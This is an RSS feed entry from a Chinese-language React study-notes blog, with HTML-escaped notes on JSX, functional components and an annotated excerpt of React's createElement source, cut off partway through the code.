      <pubDate>Sat, 06 Nov 2021 19:38:03 +0800</pubDate>
      
      <guid>https://weivwang.github.io/studynotes/react%E5%86%8D%E6%80%9D%E8%80%83/</guid>
      <description>&lt;h3 id=&#34;为什么要用到函数式组件&#34;&gt;为什么要用到函数式组件？&lt;/h3&gt;
&lt;p&gt;react官网：&lt;/p&gt;
&lt;p&gt;class难以理解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Javascript的this指针&lt;/li&gt;
&lt;li&gt;官方进行组件预编译优化，class常常让优化措施无效&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;理解react&#34;&gt;理解React？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;React框架？ 不同于angular，react官网并不称自己为框架：用于构建用户界面的JavaScript库&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;路由，状态管理，并不是react团队开发的，而是交给社区做，所以它并不完全能叫一个框架，只是一个库。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;react使用者上限和下限差距极大，会使用很简单，成为高手比较难&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;react优势&#34;&gt;React优势&lt;/h3&gt;
&lt;p&gt;组件化，高内聚低耦合，但并没有提供一整套解决方案，需要依靠社区提供的集成方案&lt;/p&gt;
&lt;p&gt;JSX代码可读性好&lt;/p&gt;
&lt;h3 id=&#34;为什么react选择jsx其他方案为什么不好&#34;&gt;为什么React选择JSX？其他方案为什么不好&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;JSX本质&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;官网：实际上，JSX 仅仅只是 &lt;code&gt;React.createElement(component, props, ...children)&lt;/code&gt; 函数的语法糖。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;MyButton color=&amp;quot;blue&amp;quot; shadowSize={2}&amp;gt;
  Click Me
&amp;lt;/MyButton&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;被编译为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React.createElement(
  MyButton,
  {color: &#39;blue&#39;, shadowSize: 2},
  &#39;Click Me&#39;
)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;接着会产生疑问：React.createElement()到底是一个什么样的方法？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React.createElement(
  type, //第一个参数为html标签名称
  [props], //第二个参数为属性，如className
  [...children] //第三个参数为子结点
)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在react文件中，第一句常常是：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;React&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但是程序中却没有出现显式的对引入的React的调用，删了这一句也不行&lt;/p&gt;
&lt;p&gt;查：&lt;/p&gt;
&lt;p&gt;在渲染Dom的时候调了React.createElement()&lt;/p&gt;
&lt;p&gt;在https://babeljs.io中可以看到该过程:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/10/GL5FOV9ms7gxiwc.png&#34; alt=&#34;image-20211110234827340&#34;&gt;&lt;/p&gt;
&lt;p&gt;看createElement()源码：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-react&#34; data-lang=&#34;react&#34;&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/**
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * Create and return a new ReactElement of the given type.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * See https://reactjs.org/docs/react-api.html#createelement
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * type: 节点类型
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * 如果是原生的节点类型，那么就是一个字符串 tagName
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * 如果是一个组件(我们自己定义的、或者React内置提供的)那么就是一个变量
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; *
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * config: 就是写在jsx上的属性，它们都会转为key: value格式存到config对象上
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; *
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * children: 所有后代元素
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; */&lt;/span&gt;
 &lt;span style=&#34;color:#66d9ef&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;createElement&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;children&lt;/span&gt;) {
  &lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;;

  &lt;span style=&#34;color:#75715e&#34;&gt;// Reserved names are extracted
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// 对于组件内部来说传入的属性就是props
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {};

  &lt;span style=&#34;color:#75715e&#34;&gt;// 预定义key ref等变量用于后面存值
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// key ref属于特殊的attrs需要剔除
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;self&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;;

  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;) {
    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;hasValidRef&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;)) {
      &lt;span style=&#34;color:#75715e&#34;&gt;// 存储合法的ref
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;;
    }
    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;hasValidKey&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;)) {
      &lt;span style=&#34;color:#75715e&#34;&gt;// 存储合法的key =&amp;gt; string
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;;
    }

    &lt;span style=&#34;color:#a6e22e&#34;&gt;self&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;__self&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;undefined&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;__self&lt;/span&gt;;
    &lt;span style=&#34;color:#a6e22e&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;__source&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;undefined&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;__source&lt;/span&gt;;
    &lt;span style=&#34;color:#75715e&#34;&gt;// 其他属性枚举到props对象
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;) {
      &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (
        &lt;span style=&#34;color:#75715e&#34;&gt;// 仅限config自身的属性 &amp;amp;&amp;amp; 排除React预留的props
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;hasOwnProperty&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;RESERVED_PROPS&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;hasOwnProperty&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;)
      ) {
        &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;];
      }
    }
  }
   &lt;span style=&#34;color:#75715e&#34;&gt;// Children can be more than one argument, and those are transferred onto
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// the newly allocated props object.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// 获取children的个数，一个节点下的children是可以有多个的
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;childrenLength&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;arguments&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;;

  &lt;span style=&#34;color:#75715e&#34;&gt;// 赋值处理props.children
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;childrenLength&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) {
    &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;children&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;children&lt;/span&gt;;
  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;childrenLength&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) {
    &lt;span style=&#34;color:#75715e&#34;&gt;// 定长数组、再遍历拷贝
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;childArray&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Array(&lt;span style=&#34;color:#a6e22e&#34;&gt;childrenLength&lt;/span&gt;);
    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;childrenLength&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
      &lt;span style=&#34;color:#a6e22e&#34;&gt;childArray&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;arguments&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;];
    }
    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;__DEV__&lt;/span&gt;) {
      &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;freeze&lt;/span&gt;) {
        Object.&lt;span style=&#34;color:#a6e22e&#34;&gt;freeze&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;childArray&lt;/span&gt;);
      }
    }
    &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;children&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;childArray&lt;/span&gt;;
  }

  &lt;span style=&#34;color:#75715e&#34;&gt;// Resolve default props
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// 处理defaultProps，另外需要处理defaultProps的顺序
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;/**
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;   * class CustomButton extends React.component{}
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;   * CustomButton.defaultProps = {}
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;   * 可见type是一个组件
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;   */&lt;/span&gt;
  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;defaultProps&lt;/span&gt;) {
    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;defaultProps&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;defaultProps&lt;/span&gt;;
    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;defaultProps&lt;/span&gt;) {
      &lt;span style=&#34;color:#75715e&#34;&gt;// 如果 props.color 被设置为 null，则它将保持为 null
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;// 关于这里为什么是undefined、而不是null，其实很好理解，定义了一个遍历而不初始化那它就是undefined，而null需要手动初始化。
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;undefined&lt;/span&gt;) {
        &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;defaultProps&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;propName&lt;/span&gt;];
      }
    }
  }

 &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;__DEV__&lt;/span&gt;) {
    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;) {
      &lt;span style=&#34;color:#75715e&#34;&gt;// 处理displayName，即推导过程
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;// 如果是组件、先从组件的displayName取、其次是组件的名字、最后是默认值
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;displayName&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
        &lt;span style=&#34;color:#66d9ef&#34;&gt;typeof&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;function&amp;#39;&lt;/span&gt;
          &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;displayName&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Unknown&amp;#39;&lt;/span&gt;
          &lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;;
      &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;) {
        &lt;span style=&#34;color:#a6e22e&#34;&gt;defineKeyPropWarningGetter&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;displayName&lt;/span&gt;);
      }
      &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;) {
        &lt;span style=&#34;color:#a6e22e&#34;&gt;defineRefPropWarningGetter&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;displayName&lt;/span&gt;);
      }
    }
  }

  &lt;span style=&#34;color:#75715e&#34;&gt;// 返回一个真正的ReactElement
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ReactElement&lt;/span&gt;(
    &lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;self&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;source&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;ReactCurrentOwner&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;current&lt;/span&gt;,
    &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;,
  );
}

&lt;span style=&#34;color:#75715e&#34;&gt;/**
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * Factory method to create a new React element. This no longer adheres to
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * the class pattern, so do not use new to call it. Also, no instanceof check
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * will work. Instead test $$typeof field against Symbol.for(&amp;#39;react.element&amp;#39;) to check
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * if something is a React Element.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; *
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {*} type
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {*} props
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {*} key
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {string|object} ref
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {*} owner
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {*} self A *temporary* helper to detect places where `this` is
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * different from the `owner` when React.createElement is called, so that we
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * can warn. We want to get rid of owner and replace string `ref`s with arrow
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * functions, and as long as `this` and owner are the same, there will be no
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * change in behavior.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @param {*} source An annotation object (added by a transpiler or otherwise)
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * indicating filename, line number, and/or other information.
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; * @internal
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt; */&lt;/span&gt;
&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ReactElement&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;type&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;ref&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;source&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;owner&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;props&lt;/span&gt;) {
  &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {
    &lt;span style=&#34;color:#75715e&#34;&gt;// This tag allows us to uniquely identify this as a React Element
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 通过Symbol作为独一无二标识符 Symbol.for进行复用
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;$$typeof&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;REACT_ELEMENT_TYPE&lt;/span&gt;,

    &lt;span style=&#34;color:#75715e&#34;&gt;// Built-in properties that belong on the element
&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 节点类型
